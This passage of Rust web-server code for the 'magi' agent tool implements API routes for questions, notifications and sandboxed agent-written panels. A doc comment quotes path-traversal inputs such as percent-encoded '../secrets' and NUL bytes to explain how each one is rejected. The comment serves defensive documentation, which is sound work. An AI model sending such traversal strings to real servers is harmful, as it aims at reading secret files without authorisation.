7145        return None;
7146    }
7147    let mut ids = std::collections::BTreeSet::new();
7148    if comparison.fields.is_empty()
7149        || comparison
7150            .fields
7151            .iter()
7152            .flat_map(|f| &f.pairs)
7153            .any(|p| !ids.insert(p.id))
7154        || comparison
7155            .fields
7156            .iter()
7157            .flat_map(|f| &f.original_triggers)
7158            .any(|t| !ids.insert(t.id))
7159    {
7160        return None;
7161    }
7162    let fields = comparison
7163        .fields
7164        .iter()
7165        .map(|f| f.view(comparison.excerpt))
7166        .collect::<Option<Vec<_>>>()?;
7167    Some(PostingView {
7168        before_md: md::to_nodes(question.detail.get(..comparison.start)?, base),
7169        after_md: md::to_nodes(question.detail.get(comparison.end..)?, base),
7170        fields,
7171    })
7172}
7173
7174impl QuestionView {
7175    /// The view of `question`, reading who is waiting on it from `store`.
7176    ///
7177    /// `holder` needs the lease sidecar, which is why this is not a `From`.
7178    fn of(question: Question, store: &ask::Questions, cfg: Option<&Config>) -> Self {
7179        let base = md::ImageBase::QuestionPanel {
7180            id: question.id.clone(),
7181        };
7182        let holder = holder_of(&question, store.read_lease(&question.id).as_ref());
7183        Self {
7184            choice_effects: question
7185                .choices
7186                .iter()
7187                .filter_map(|c| {
7188                    crate::choice_effect::describe(&question, c).map(|effect| (c.clone(), effect))
7189                })
7190                .collect(),
7191            record_revision: question_record_revision(&question),
7192            detail_md: md::to_nodes(&question.detail, &base),
7193            posting_view: posting_view(&question, &base),
7194            thread_bodies_md: question
7195                .thread
7196                .iter()
7197                .map(|t| md::to_nodes(&t.body, &base))
7198                .collect(),
7199            thread_notes_md: question
7200                .thread
7201                .iter()
7202                .map(|t| t.note.as_deref().map(|n| md::to_nodes(n, &base)))
7203                .collect(),
7204            deputy_exhausted: store.deputy_exhausted(&question),
7205            waiting_on_agent: question.waiting_on_agent(),
7206            holder,
7207            deputies_enabled: deputies_enabled(cfg, &question),
7208            text_delivery: crate::question_delivery::availability(store, &question, cfg),
7209            run_is_task: question.run_names_task(),
7210            origin_chat: None,
7211            origin_chat_closed: false,
7212            can_consult_chat: false,
7213            question,
7214        }
7215    }
7216
7217    /// Fill `origin_chat` from the queue and the talks.
7218    fn with_origin(
7219        mut self,
7220        tasks: &[crate::queue::Task],
7221        talks: &[Talk],
7222        watches: &[crate::release_watch::WatchState],
7223    ) -> Self {
7224        let consult = crate::consult::origin_talk(tasks, talks, &self.question);
7225        self.can_consult_chat = consult.is_some();
7226        let talk =
7227            crate::consult::associated_talk_with_watches(tasks, talks, &self.question, watches);
7228        self.origin_chat_closed = talk.as_ref().is_some_and(|t| !t.status.open());
7229        self.origin_chat = talk.map(|t| t.id);
7230        self
7231    }
7232}
7233
7234/// The config this repository resolves, or `None` when it cannot be read.
7235/// Discovering is git processes plus a config render, so a request that needs
7236/// it for many items takes it once and passes it down.
7237fn deputy_config(repo: &std::path::Path) -> Option<Config> {
7238    Config::discover(repo, None).ok().map(|(c, _)| c)
7239}
7240
7241/// Can `magi serve` start a deputy for this question under `cfg`?
7242fn deputies_enabled(cfg: Option<&Config>, q: &Question) -> bool {
7243    crate::deputy::can_start(cfg, crate::deputy::agent_of(q))
7244}
7245
7246/// The views `GET /api/questions` answers. `load` runs at most once, however
7247/// many questions there are, and not at all when there are none.
7248fn question_views(
7249    qs: Vec<Question>,
7250    store: &ask::Questions,
7251    load: impl FnOnce() -> Option<Config>,
7252) -> Vec<QuestionView> {
7253    if qs.is_empty() {
7254        return Vec::new();
7255    }
7256    let cfg = load();
7257    qs.into_iter()
7258        .map(|q| QuestionView::of(q, store, cfg.as_ref()))
7259        .collect()
7260}
7261
7262/// Who is honestly waiting on an open question right now: `"asker"` (the
7263/// agent's own `magi ask`), `"deputy"` (the follow-up seat `magi serve` runs
7264/// for a conductor question), `"daemon"` (`magi serve` resuming the asking
7265/// seat's session), or `"nobody"` - the asker is gone and nothing has picked it
7266/// up, or the question never had anyone listening (a conductor question or a
7267/// merge approval from before deputies, or not yet given one).
7268///
7269/// `None` for a question that is settled, and for one that is not an agent's
7270/// to wait on at all (a release notice).
7271fn holder_of(q: &Question, lease: Option<&ask::Lease>) -> Option<&'static str> {
7272    if !q.status.open() {
7273        return None;
7274    }
7275    if q.cwd.is_none()
7276        && q.deputy.is_none()
7277        && lease.is_none_or(|l| !l.fresh(jiff::Timestamp::now()))
7278    {
7279        return crate::deputy::kind_of(q).map(|_| "nobody");
7280    }
7281    Some(match lease.filter(|l| l.fresh(jiff::Timestamp::now())) {
7282        Some(_) if q.deputy.is_some() => "deputy",
7283        Some(l) if l.kind == ask::WaiterKind::Daemon => "daemon",
7284        Some(_) => "asker",
7285        None => "nobody",
7286    })
7287}
7288
7289/// `GET /api/questions`.
7290///
7291/// Everything, not just the open ones: an answered question is the record of a
7292/// decision, and the phone is where the operator goes back to check what they
7293/// told an agent at 3am. `ask::Questions::list` already ranks open first.
7294async fn questions_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<QuestionView>>> {
7295    blocking(move || {
7296        let questions = ui.questions.list();
7297        let (tasks, talks, watches) = question_origin_inputs(&ui, &questions)?;
7298        Ok(Json(
7299            question_views(questions, &ui.questions, || deputy_config(&ui.repo))
7300                .into_iter()
7301                .map(|view| view.with_origin(&tasks, &talks, &watches))
7302                .collect(),
7303        ))
7304    })
7305    .await
7306}
7307
7308/// Question content and answer controls never wait for task/chat provenance.
7309async fn questions_core(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<QuestionView>>> {
7310    blocking(move || {
7311        Ok(Json(question_views(
7312            ui.questions.list(),
7313            &ui.questions,
7314            || deputy_config(&ui.repo),
7315        )))
7316    })
7317    .await
7318}
7319
7320fn question_record_revision(question: &Question) -> String {
7321    use std::hash::{Hash as _, Hasher as _};
7322    let mut hash = std::hash::DefaultHasher::new();
7323    serde_json::to_vec(question)
7324        .expect("serializable question")
7325        .hash(&mut hash);
7326    format!("{:016x}", hash.finish())
7327}
7328
7329#[derive(Serialize)]
7330struct QuestionOriginView {
7331    id: String,
7332    record_revision: String,
7333    origin_chat: Option<String>,
7334    origin_chat_closed: bool,
7335    can_consult_chat: bool,
7336}
7337
7338async fn question_origins(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<QuestionOriginView>>> {
7339    blocking(move || {
7340        let questions = ui.questions.list();
7341        let (tasks, talks, watches) = question_origin_inputs(&ui, &questions)?;
7342        Ok(Json(
7343            questions
7344                .into_iter()
7345                .map(|question| {
7346                    let consult = crate::consult::origin_talk(&tasks, &talks, &question);
7347                    let can_consult_chat = consult.is_some();
7348                    let talk = crate::consult::associated_talk_with_watches(
7349                        &tasks, &talks, &question, &watches,
7350                    );
7351                    QuestionOriginView {
7352                        record_revision: question_record_revision(&question),
7353                        id: question.id,
7354                        origin_chat_closed: talk.as_ref().is_some_and(|talk| !talk.status.open()),
7355                        origin_chat: talk.map(|talk| talk.id),
7356                        can_consult_chat,
7357                    }
7358                })
7359                .collect(),
7360        ))
7361    })
7362    .await
7363}
7364
7365type QuestionOriginInputs = (Vec<Task>, Vec<Talk>, Vec<crate::release_watch::WatchState>);
7366
7367/// Only the task ancestry and chats these questions actually reference. Run
7368/// mappings share the reconciled queue index; exact task references bypass it.
7369/// No question means no task/chat I/O, including no index reconciliation.
7370fn question_origin_inputs(ui: &Ui, questions: &[Question]) -> ApiResult<QuestionOriginInputs> {
7371    fn task_for_run(
7372        ui: &Ui,
7373        index: &mut Option<Vec<Arc<TaskRelation>>>,
7374        run: &str,
7375        loaded: &HashMap<String, Task>,
7376    ) -> ApiResult<Option<Task>> {
7377        if !plain_record_id(run) {
7378            return Ok(None);
7379        }
7380        if index.is_none() {
7381            *index = Some(ui.indexed_tasks()?);
7382        }
7383        Ok(index
7384            .as_ref()
7385            .expect("loaded index")
7386            .iter()
7387            .find(|task| task.runs.iter().any(|id| id == run))
7388            .and_then(|task| {
7389                loaded
7390                    .get(&task.id)
7391                    .cloned()
7392                    .or_else(|| ui.queue.get(&task.id).ok())
7393            })
7394            .filter(|task| task.runs.iter().any(|id| id == run)))
7395    }
7396    let direct_task = |id: &str, loaded: &HashMap<String, Task>| {
7397        plain_record_id(id)
7398            .then(|| loaded.get(id).cloned().or_else(|| ui.queue.get(id).ok()))
7399            .flatten()
7400            .filter(|task| task.id == id)
7401    };
7402    let watches = crate::release_watch::states_for_questions(&ui.home, questions);
7403    let mut index = None;
7404    let mut tasks = HashMap::new();
7405    let mut talks = HashMap::new();
7406    for question in questions {
7407        for reference in crate::consult::question_task_refs(question, &watches) {
7408            let mut current = match reference {
7409                crate::consult::QuestionTaskRef::Task(id) => direct_task(id, &tasks),
7410                crate::consult::QuestionTaskRef::Run(id) => {
7411                    task_for_run(ui, &mut index, id, &tasks)?
7412                }
7413            };
7414            let mut seen = HashSet::new();
7415            for _ in 0..=crate::followup::MAX_FOLLOWUP_GENERATION {
7416                let Some(task) = current.take() else {
7417                    break;
7418                };
7419                if !seen.insert(task.id.clone()) {
7420                    break;
7421                }
7422                let chat = task.chat_talk().map(str::to_owned);
7423                let followup = task.followup.clone();
7424                tasks.insert(task.id.clone(), task);
7425                if let Some(chat) = chat {
7426                    if plain_record_id(&chat)
7427                        && !talks.contains_key(&chat)
7428                        && let Ok(talk) = ui.talks.get(&chat)
7429                    {
7430                        talks.insert(chat, talk);
7431                    }
7432                    break;
7433                }
7434                let Some(followup) = followup else {
7435                    break;
7436                };
7437                current = match followup.origin_task {
7438                    Some(id) => direct_task(&id, &tasks),
7439                    None => task_for_run(ui, &mut index, &followup.run, &tasks)?,
7440                };
7441            }
7442        }
7443    }
7444    let mut tasks: Vec<Task> = tasks.into_values().collect();
7445    tasks.sort_unstable_by(|a, b| b.priority.cmp(&a.priority).then_with(|| b.id.cmp(&a.id)));
7446    Ok((tasks, talks.into_values().collect(), watches))
7447}
7448
7449/// `GET /api/notifications`: not dismissed, newest first, with the unread
7450/// count so the badge and the list cannot disagree.
7451async fn notifications_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<serde_json::Value>> {
7452    blocking(move || {
7453        let items = ui.notices.list();
7454        let unread = items.iter().filter(|n| n.unread()).count();
7455        let items: Vec<_> = items
7456            .into_iter()
7457            .map(|n| {
7458                let question = crate::notices::answerable_question(&n, &ui.questions);
7459                let mut item = serde_json::to_value(n)?;
7460                item["answerable_question"] = serde_json::json!(question);
7461                Ok(item)
7462            })
7463            .collect::<anyhow::Result<_>>()?;
7464        Ok(Json(
7465            serde_json::json!({ "unread": unread, "items": items }),
7466        ))
7467    })
7468    .await
7469}
7470
7471fn notice_error(e: anyhow::Error) -> ApiError {
7472    // An unknown or malformed id and a vanished file are the same answer to
7473    // the phone: that notification is gone.
7474    ApiError::not_found(format!("{e:#}"))
7475}
7476
7477/// `POST /api/notifications/{id}/read`.
7478async fn notification_read(
7479    State(ui): State<Arc<Ui>>,
7480    Path(id): Path<String>,
7481) -> ApiResult<Json<Notice>> {
7482    blocking(move || ui.notices.mark_read(&id).map(Json).map_err(notice_error)).await
7483}
7484
7485/// `POST /api/notifications/{id}/dismiss`.
7486async fn notification_dismiss(
7487    State(ui): State<Arc<Ui>>,
7488    Path(id): Path<String>,
7489) -> ApiResult<Json<Notice>> {
7490    blocking(move || ui.notices.dismiss(&id).map(Json).map_err(notice_error)).await
7491}
7492
7493/// `POST /api/notifications/read-all`.
7494async fn notifications_read_all(State(ui): State<Arc<Ui>>) -> ApiResult<Json<serde_json::Value>> {
7495    blocking(move || {
7496        let changed = ui.notices.mark_all_read()?;
7497        Ok(Json(serde_json::json!({ "marked": changed })))
7498    })
7499    .await
7500}
7501
7502/// The body of `POST /api/questions/{id}/answer`.
7503///
7504/// Exactly one of the two fields, mirroring `ask::Answer`. Both or neither is
7505/// a bad request rather than a guess: an answer magi invented is worse than a
7506/// question left open.
7507#[derive(Debug, Default, Deserialize)]
7508#[serde(default, deny_unknown_fields)]
7509struct NewAnswer {
7510    choice: Option<String>,
7511    text: Option<String>,
7512    talk: Option<String>,
7513    head: Option<String>,
7514}
7515
7516async fn question_answer(
7517    State(ui): State<Arc<Ui>>,
7518    Path(id): Path<String>,
7519    body: std::result::Result<Json<NewAnswer>, axum::extract::rejection::JsonRejection>,
7520) -> ApiResult<Json<QuestionView>> {
7521    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
7522    let answer = match (body.choice, body.text) {
7523        (Some(c), None) => Answer::Choice(c),
7524        (None, Some(t)) => Answer::Text(t),
7525        (Some(_), Some(_)) => {
7526            return Err(ApiError::bad_request(
7527                "send either `choice` or `text`, not both",
7528            ));
7529        }
7530        (None, None) => {
7531            return Err(ApiError::bad_request("send a `choice` or a `text`"));
7532        }
7533    };
7534
7535    blocking(move || {
7536        let id = resolve_question(&ui.questions, &id)?;
7537        let q = ui
7538            .questions
7539            .get(&id)
7540            .map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
7541        if !q.status.open() {
7542            // Answered from the terminal, or by another phone, in between the
7543            // list and the tap. The UI shows the recorded answer rather than an
7544            // error, so it needs the record, not just the status.
7545            return Err(ApiError::conflict(format!(
7546                "question {} is already {}",
7547                q.short(),
7548                q.status.as_str()
7549            )));
7550        }
7551        // `Question::answer` owns the rules - an unoffered choice, free text on
7552        // a multiple-choice question, an empty reply - so the route does not
7553        // restate them and cannot drift from the CLI's behaviour.
7554        let cfg = deputy_config(&ui.repo);
7555        let (q, ()) = ui
7556            .questions
7557            .update(&q.id, |r| {
7558                anyhow::ensure!(
7559                    r.routed_task.is_none() || r.merge_target.is_some(),
7560                    "task decisions are free text in the task chat; its agent records them with `magi task control decide`"
7561                );
7562                let merge = matches!(&answer, ask::Answer::Choice(c)
7563                    if crate::consult::consent(r, c) == crate::consult::Consent::Merge);
7564                // Buttons retain their displayed chat/head binding. A direct
7565                // decision does not require a button or a prior persona offer.
7566                if r.routed_task.is_some() && r.merge_target.is_some() && merge
7567                    && (body.talk.is_some() || body.head.is_some())
7568                {
7569                    let talk_id = body.talk.as_deref().context("approval button requires its chat")?;
7570                    let head = body.head.as_deref().context("approval button requires the displayed head")?;
7571                    let talk = ui.talks.get(talk_id)?;
7572                    anyhow::ensure!(
7573                        talk.status.open(),
7574                        "approval chat is closed"
7575                    );
7576                    r.answer_chat_button(answer, talk_id, head)
7577                } else {
7578                    r.answer(answer)
7579                }
7580            })
7581            .map_err(ApiError::bad_request_from)?;
7582        let (tasks, talks, watches) =
7583            question_origin_inputs(&ui, std::slice::from_ref(&q)).unwrap_or_default();
7584        Ok(Json(
7585            QuestionView::of(q, &ui.questions, cfg.as_ref()).with_origin(&tasks, &talks, &watches),
7586        ))
7587    })
7588    .await
7589}
7590
7591/// A dedicated status avoids the client's settled-question 409 handling.
7592fn question_text_error(e: anyhow::Error) -> ApiError {
7593    let reason = e
7594        .downcast_ref::<crate::question_delivery::TextUnavailable>()
7595        .map(|e| e.reason);
7596    let error = ApiError::bad_request_from(e);
7597    if let Some(reason) = reason {
7598        ApiError {
7599            text_reason: Some(reason),
7600            ..error.with_status(StatusCode::UNPROCESSABLE_ENTITY)
7601        }
7602    } else {
7603        error
7604    }
7605}
7606
7607/// The body of `POST /api/questions/{id}/say`.
7608#[derive(Debug, Deserialize)]
7609#[serde(deny_unknown_fields)]
7610struct NewSay {
7611    body: String,
7612}
7613
7614/// `POST /api/questions/{id}/say` - the owner talks back without deciding.
7615///
7616/// Synchronous, unlike `POST /api/talks/{id}/say`: that route spawns an agent
7617/// CLI and waits on it, this one only appends a [`ask::Turn`] and writes the
7618/// file, so there is no turn to serialize against and no
7619/// [`Ui::begin_talk_turn`] guard to take. The agent waiting on this question
7620/// is a *different* process - the run parked behind `magi ask` - and picks
7621/// the reply up on its own poll of the very same file, same as an answer
7622/// does.
7623async fn question_say(
7624    State(ui): State<Arc<Ui>>,
7625    Path(id): Path<String>,
7626    body: std::result::Result<Json<NewSay>, JsonRejection>,
7627) -> ApiResult<Json<QuestionView>> {
7628    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
7629    blocking(move || {
7630        let id = resolve_question(&ui.questions, &id)?;
7631        let q = ui
7632            .questions
7633            .get(&id)
7634            .map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
7635        if !q.status.open() {
7636            // Same granularity as `question_answer`: answered or abandoned in
7637            // between the list and the tap is not this route's error to
7638            // explain any differently.
7639            return Err(ApiError::conflict(format!(
7640                "question {} is already {}",
7641                q.short(),
7642                q.status.as_str()
7643            )));
7644        }
7645        // `Question::say` owns the one rule that matters here - an empty
7646        // message tells the agent nothing - so the route does not restate it.
7647        let cfg = deputy_config(&ui.repo);
7648        let (q, ()) = ui
7649            .questions
7650            .update(&q.id, |r| {
7651                if body.body.trim().is_empty() {
7652                    return r.say(body.body);
7653                }
7654                crate::question_delivery::require(&ui.questions, r, cfg.as_ref())?;
7655                r.say(body.body)
7656            })
7657            .map_err(question_text_error)?;
7658        let (tasks, talks, watches) =
7659            question_origin_inputs(&ui, std::slice::from_ref(&q)).unwrap_or_default();
7660        Ok(Json(
7661            QuestionView::of(q, &ui.questions, cfg.as_ref()).with_origin(&tasks, &talks, &watches),
7662        ))
7663    })
7664    .await
7665}
7666
7667/// `POST /api/questions/{id}/consult` - hand the question to the chat its task
7668/// came from. The question stays open: the chat agent answers it with `magi
7669/// answer`, or puts the decision to the owner in the conversation.
7670///
7671/// Answers 202 and runs the turn in the background, like every route that
7672/// spends agent calls. The text is queued as a draft of the existing talk, and
7673/// the turn goes through the talk's own gate and session; no seat or waiter is
7674/// started here.
7675async fn question_consult(
7676    State(ui): State<Arc<Ui>>,
7677    Path(id): Path<String>,
7678) -> ApiResult<(StatusCode, Json<QuestionView>)> {
7679    let (view, reclaimed) = blocking({
7680        let ui = Arc::clone(&ui);
7681        move || {
7682            let id = resolve_question(&ui.questions, &id)?;
7683            let q = ui
7684                .questions
7685                .get(&id)
7686                .map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
7687            if !q.status.open() {
7688                return Err(ApiError::conflict(format!(
7689                    "question {} is already {}",
7690                    q.short(),
7691                    q.status.as_str()
7692                )));
7693            }
7694            let (tasks, talks, watches) = question_origin_inputs(&ui, std::slice::from_ref(&q))?;
7695            let Some(talk) = crate::consult::origin_talk(&tasks, &talks, &q) else {
7696                return Err(ApiError::conflict(format!(
7697                    "question {} has no chat to ask",
7698                    q.short()
7699                )));
7700            };
7701            // Read the config before `begin` saves anything: a failure here
7702            // must leave no consult record or draft behind, or a retry would
7703            // see `fresh == false` and never start the turn.
7704            let cfg = if q.consult.is_none() {
7705                Some(Config::discover(&talk.repo, None)?.0)
7706            } else {
7707                None
7708            };
7709            let fresh = crate::consult::begin(&ui.questions, &ui.talks, &q, &talk)?;
7710            let claim = if fresh {
7711                match ui.begin_queued_talk_turn(&talk.id)? {
7712                    Some(turn_guard) => {
7713                        let talk = ui.talks.get(&talk.id)?;
7714                        let cfg = match cfg {
7715                            Some(cfg) => cfg,
7716                            None => Config::discover(&talk.repo, None)?.0,
7717                        };
7718                        Some((talk, cfg, turn_guard))
7719                    }
7720                    None => None,
7721                }
7722            } else {
7723                None
7724            };
7725            let q = ui.questions.get(&q.id)?;
7726            let cfg = deputy_config(&ui.repo);
7727            let view = QuestionView::of(q, &ui.questions, cfg.as_ref())
7728                .with_origin(&tasks, &talks, &watches);
7729            Ok((view, claim))
7730        }
7731    })
7732    .await?;
7733    if let Some((talk, cfg, turn_guard)) = reclaimed {
7734        let talks = ui.talks.clone();
7735        let id = talk.id.clone();
7736        tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
7737    }
7738    Ok((StatusCode::ACCEPTED, Json(view)))
7739}
7740
7741/// Expand an id or short id to exactly one question id.
7742fn resolve_question(store: &Questions, id: &str) -> ApiResult<String> {
7743    if plain_record_id(id) && store.path_of(id).is_file() {
7744        return Ok(id.to_owned());
7745    }
7746    pick(
7747        store.list().into_iter().map(|q| q.id).collect(),
7748        id,
7749        "question",
7750    )
7751}
7752
7753/// `GET /api/questions/{id}/panel`.
7754///
7755/// The panel an agent wrote for this question, as `text/html` under
7756/// [`PANEL_CSP`], for the front end to mount in a sandboxed iframe.
7757/// A question without one is a 404 rather than an empty page: the client
7758/// preflights this route with `HEAD` and must be able to tell "no panel" from
7759/// "a panel that rendered blank", and a sandboxed frame is opaque to the
7760/// parent document so it cannot tell the difference by looking.
7761///
7762/// The body is whatever the agent wrote, byte for byte. Nothing here rewrites,
7763/// sanitises or minifies it - a sanitiser is a list of things someone thought
7764/// of, and the sandbox plus the CSP is a list of things that are allowed, which
7765/// is the direction that stays safe when an agent writes markup nobody
7766/// predicted.
7767async fn question_panel(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Response> {
7768    blocking(move || {
7769        let id = resolve_question(&ui.questions, &id)?;
7770        let Some(html) = ui.questions.panel_html(&id) else {
7771            return Err(ApiError::not_found(format!("question {id} has no panel")));
7772        };
7773        Ok(panel_response(
7774            "text/html; charset=utf-8",
7775            false,
7776            html.into_bytes(),
7777        ))
7778    })
7779    .await
7780}
7781
7782/// `GET /api/questions/{id}/asset/{name}`.
7783///
7784/// One file from the question's own panel directory, so a panel can show a
7785/// diff as an SVG or a screenshot as a PNG without the CSP's `img-src 'self'`
7786/// having to allow anything off this machine.
7787///
7788/// This is the only route in the server where a client names a file, so it is
7789/// the only one with a traversal surface, and the name is checked by
7790/// [`ask::valid_asset_name`] before a path is built from it. Which layer stops
7791/// what is worth being explicit about, because the answer is not "all of it in
7792/// one place":
7793///
7794/// * `asset/../../secrets` never reaches this handler at all. axum matches on
7795///   the raw request path and `{name}` spans exactly one segment, so a real
7796///   slash makes the request too long for the route and the router answers 404.
7797/// * `asset/%2e%2e%2fsecrets` and `asset/..%5csecrets` do reach it: axum
7798///   percent-decodes path parameters, so `name` arrives as `../secrets` and
7799///   `..\secrets` respectively, which look like plain filenames to the router.
7800///   The validator refuses them here - both for the literal `..` and because
7801///   `/` and `\` are not in the permitted character set - and answers 400.
7802/// * A name carrying a NUL (`%00`) decodes to a string Rust is happy with but
7803///   the platform's path API is not, and it is refused here for the same
7804///   reason: NUL is not a permitted character.
7805/// * [`Questions::panel_asset`] validates again on read, so the check is not
7806///   load-bearing in only one place. This route's own check exists so the
7807///   failure is a 400 that says which name was wrong, rather than a store error
7808///   the operator has to interpret.
7809async fn question_asset(
7810    State(ui): State<Arc<Ui>>,
7811    Path((id, name)): Path<(String, String)>,
7812) -> ApiResult<Response> {
7813    // Before any filesystem work and before any path is built: a name this
7814    // server will not serve should not become a `PathBuf` at all.
7815    if !crate::ask::valid_asset_name(&name) {
7816        return Err(ApiError::bad_request(format!(
7817            "`{name}` is not a usable asset name"
7818        )));
7819    }
7820    blocking(move || {
7821        let id = resolve_question(&ui.questions, &id)?;
7822        let asset = ui
7823            .questions
7824            .panel_asset(&id, &name)
7825            .map_err(|e| ApiError::bad_request(format!("{e:#}")))?;
7826        let Some(bytes) = asset else {
7827            return Err(ApiError::not_found(format!(
7828                "question {id} has no asset `{name}`"
7829            )));
7830        };
7831        Ok(panel_response(
7832            asset_content_type(&name),
7833            is_svg(&name),
7834            bytes,
7835        ))
7836    })
7837    .await
7838}
7839
7840/// Content type for a panel asset, from a closed whitelist.
7841///
7842/// A whitelist with an `application/octet-stream` fallback rather than a
7843/// guess, because the one answer that must never come out of here is
7844/// `text/html`. An agent that writes `notes.html` into its panel directory and
7845/// links it would otherwise get its own markup rendered at the top level of the
7846/// operator's browser - outside the sandboxed frame, outside [`PANEL_CSP`], on
7847/// magi's origin - which is precisely the thing the panel design exists to
7848/// prevent. Same reasoning for `.js` and `.json`: unlisted means downloaded.
7849///
7850/// `nosniff` accompanies this on every response, so a browser cannot decide it
7851/// knows better than the type we sent.
7852fn asset_content_type(name: &str) -> &'static str {
7853    match extension(name).as_deref() {
7854        Some("png") => "image/png",
7855        Some("jpg" | "jpeg") => "image/jpeg",
7856        Some("gif") => "image/gif",
7857        Some("webp") => "image/webp",
7858        Some("svg") => "image/svg+xml",
7859        Some("css") => "text/css; charset=utf-8",
7860        Some("txt") => "text/plain; charset=utf-8",
7861        _ => "application/octet-stream",
7862    }
7863}
7864
7865/// Is this an SVG, and therefore a file that must never be opened at the top
7866/// level?
7867fn is_svg(name: &str) -> bool {
7868    extension(name).as_deref() == Some("svg")
7869}
7870
7871/// Lowercased extension, or `None` for a name without one.
7872fn extension(name: &str) -> Option<String> {
7873    name.rsplit_once('.')
7874        .map(|(_, ext)| ext.to_ascii_lowercase())
7875}
7876
7877/// Every panel response, with the four headers that make it safe and, for an
7878/// SVG, a fifth.
7879///
7880/// One function rather than a header list per handler, because a panel route
7881/// that forgets [`PANEL_CSP`] is not a cosmetic bug: it is the whole security
7882/// model gone, silently, on one of two routes. Adding a third panel route later
7883/// means calling this, and there is nowhere else to build a panel response.
7884///
7885/// `download` is set for SVG only. An SVG is XML that may carry `<script>`, and
7886/// as an `<img src>` inside the panel that script cannot run - but the asset
7887/// URL is also a plain URL an operator can be talked into opening in a tab,
7888/// where it is a document on magi's own origin. `Content-Disposition:
7889/// attachment` makes the browser download it instead of rendering it, which
7890/// closes that door without taking away the ability to draw a diff. Raster
7891/// images have no such execution surface and are left inline, so tapping a
7892/// screenshot still shows it.
7893fn panel_response(content_type: &'static str, download: bool, body: Vec<u8>) -> Response {
7894    let mut res = (
7895        [
7896            (header::CONTENT_TYPE, content_type),
7897            (header::CONTENT_SECURITY_POLICY, PANEL_CSP),
7898            (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
7899            (header::REFERRER_POLICY, "no-referrer"),
7900        ],
7901        body,
7902    )
7903        .into_response();
7904    if download {
7905        res.headers_mut().insert(
7906            header::CONTENT_DISPOSITION,
7907            HeaderValue::from_static("attachment"),
7908        );
7909    }
7910    res
7911}
7912
7913/// A talk as the phone reads it.
7914///
7915/// Every field of [`Talk`] verbatim, plus `turn_bodies_md` - one markdown node
7916/// tree per entry of `turns`, in order - parsed server-side so `app.js` never
7917/// parses markdown itself - and the process-local `thinking` hint.
7918#[derive(Debug, Serialize)]
7919struct ChatApproval {
7920    question: String,
7921    target: crate::merge_decision::Target,
7922}
7923
7924#[derive(Debug, Serialize)]
7925struct TalkView {
7926    #[serde(flatten)]
7927    talk: Talk,
7928    turn_bodies_md: Vec<Vec<md::Node>>,
7929    /// Display-only Markdown, indexed by turn then message (legacy turns have one).
7930    turn_messages_md: Vec<Vec<Option<Vec<md::Node>>>>,
7931    pending_messages_md: Vec<Option<Vec<md::Node>>>,
7932    merge_approvals: Vec<ChatApproval>,
7933    /// Whether [`Ui::begin_talk_turn`] currently holds this talk's turn in
7934    /// this server process.
7935    ///
7936    /// This is deliberately not durable: another server process cannot see
7937    /// it, and a restarted server must not claim an old turn is live. It is a
7938    /// progress hint rather than proof a reply landed; the transcript remains
7939    /// the source of truth for that.
7940    thinking: bool,
7941    /// Context-window usage, derived per request - see
7942    /// [`talk::context_usage`]. Carried on every talk response (list, detail
7943    /// and each mutation) so the phone needs no extra call or polling.
7944    context: talk::ContextUsage,
7945    /// `[talk] operator_name`, when configured; the Chat labels the
7946    /// operator's turns with it.
7947    operator_name: Option<String>,
7948    /// The active persona's display name; `None` for the default voice.
7949    persona_name: Option<String>,
7950    /// URL of the avatar for the conversation's persona (the default voice
7951    /// included). Server-built; a configured `icon` never reaches the client.
7952    persona_avatar: String,
7953    /// Operator avatar; display only and independent of repository config.
7954    operator_avatar: String,
7955    magi_avatar: String,
7956}
7957
7958impl TalkView {
7959    /// Reads the talk's repository config itself; a config that cannot be
7960    /// read leaves the window unknown but never fails the conversation.
7961    fn new(talk: Talk, thinking: bool, ui: &Ui) -> Self {
7962        let cfg = Config::discover(&talk.repo, None).ok().map(|(cfg, _)| cfg);
7963        Self::with_config(talk, thinking, cfg.as_ref(), &ui.home, &ui.references)
7964    }
7965
7966    /// As [`Self::new`], with the config already in hand (the list reads one
7967    /// per repository, not one per conversation).
7968    fn with_config(
7969        talk: Talk,
7970        thinking: bool,
7971        cfg: Option<&Config>,
7972        home: &FsPath,
7973        cache: &id_links::IndexCache,
7974    ) -> Self {
7975        let references = cache.for_talk(home, &talk);
7976        Self::with_references(talk, thinking, cfg, home, &references)
7977    }
7978
7979    fn with_references(
7980        mut talk: Talk,
7981        thinking: bool,
7982        cfg: Option<&Config>,
7983        home: &FsPath,
7984        references: &id_links::IdIndex,
7985    ) -> Self {
7986        // This owned value is the display DTO; never write it back to the talk store.
7987        let snapshot = talk.clone();
7988        for (index, turn) in talk.turns.iter_mut().enumerate() {
7989            let original = &snapshot.turns[index];
7990            if turn.messages.is_empty() {
7991                if let Some(display) = talk::notice_display(&snapshot, original, None) {
7992                    turn.messages.push(talk::Message {
7993                        sender: Some(talk::Sender::Magi),
7994                        body: original.body.clone(),
7995                        display: Some(display),
7996                        attachments: original.attachments.clone(),
7997                        reply: None,
7998                    });
7999                }
8000            } else {
8001                for (i, message) in turn.messages.iter_mut().enumerate() {
8002                    message.display =
8003                        talk::notice_display(&snapshot, original, original.messages.get(i));
8004                    if message.display.is_some() {
8005                        message.sender = Some(talk::Sender::Magi);
8006                    }
8007                }
8008            }
8009        }
8010        for message in &mut talk.pending_messages {
8011            if message.display.is_none()
8012                && (message.sender == Some(talk::Sender::Magi)
8013                    || snapshot
8014                        .completion_notices
8015                        .iter()
8016                        .any(|r| r.notice == message.body))
8017            {
8018                message.display = crate::prompt::legacy_notice_display(&message.body);
8019                if message.display.is_some() {
8020                    message.sender = Some(talk::Sender::Magi);
8021                }
8022            }
8023        }
8024        if talk.pending_messages.is_empty()
8025            && snapshot
8026                .completion_notices
8027                .iter()
